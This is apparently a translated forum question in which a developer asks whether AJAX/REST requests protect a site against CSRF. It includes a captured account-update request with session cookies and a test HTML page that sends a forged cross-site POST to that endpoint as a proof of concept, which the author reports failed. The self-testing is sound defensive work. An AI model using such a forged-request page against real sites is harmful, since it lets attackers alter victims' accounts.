Tengo un debate con un compañero de trabajo sobre si nuestro sitio es vulnerable a los ataques CSRF. Está diciendo que, dado que estamos utilizando las solicitudes AJAX RESTful para todo lo que CSRF no es posible. Diga que una solicitud para actualizar la información de su cuenta se ve así:
POST /ajax/account/savebasic HTTP/1.1
Host: www.mysite.com
Connection: keep-alive
Content-Length: 72
Accept: application/json, text/javascript, */*; q=0.01
Origin: https://www.mysite.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.65 Safari/537.36
Content-Type: application/json; charset=UTF-8
Referer: https://www.mysite.com/portal
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Cookie: X-Mapping-fjhppofk=B8BFE26CD0B3A37348ECC6FFE3940306; sdemail_5228=tester%40test.com; sd_5228=%7B%7D; connect.sid=s%3AAQIPx7hyddXEYTOuyP857jEG.D002GI6%2FSEF0m5WTBUxRmbjpE48%2BMkPxEe9o2T9DH1Y; __utma=160595647.1524201255.1358783236.1379476052.1379533347.150; __utmb=160595647.1.10.1379533347; __utmc=160595647; __utmz=160595647.1376327581.102.3.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=http://mysite.com/
{"fname":"abe","lname":"m","company":"comp","email":"[email protected]"}
Creé una página HTML de prueba en testdomain.com
como la de abajo:
<html>
<head>
<title>Bad site</title>
<script type="text/javascript" src="//ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js"></script>
</head>
<body>
<div id="main">Hey!</div>
<script type="text/javascript">
$.ajax({
type: "POST",
url: "http://www.mysite.com/ajax/account/savebasic",
data: {
"fname": "CSRF",
"lname":"CSRF",
"company":"CSRF",
"email":"[email protected]"
},
dataType: "jsonp"
});
</script>
</body>
</html>
Pensando que sobrescribiría todo, pero redirige algunas veces y, finalmente, arroja un error 404. ¿Mi compañero de trabajo tiene razón al decir que estamos a salvo de CSRF porque usamos AJAX / REST?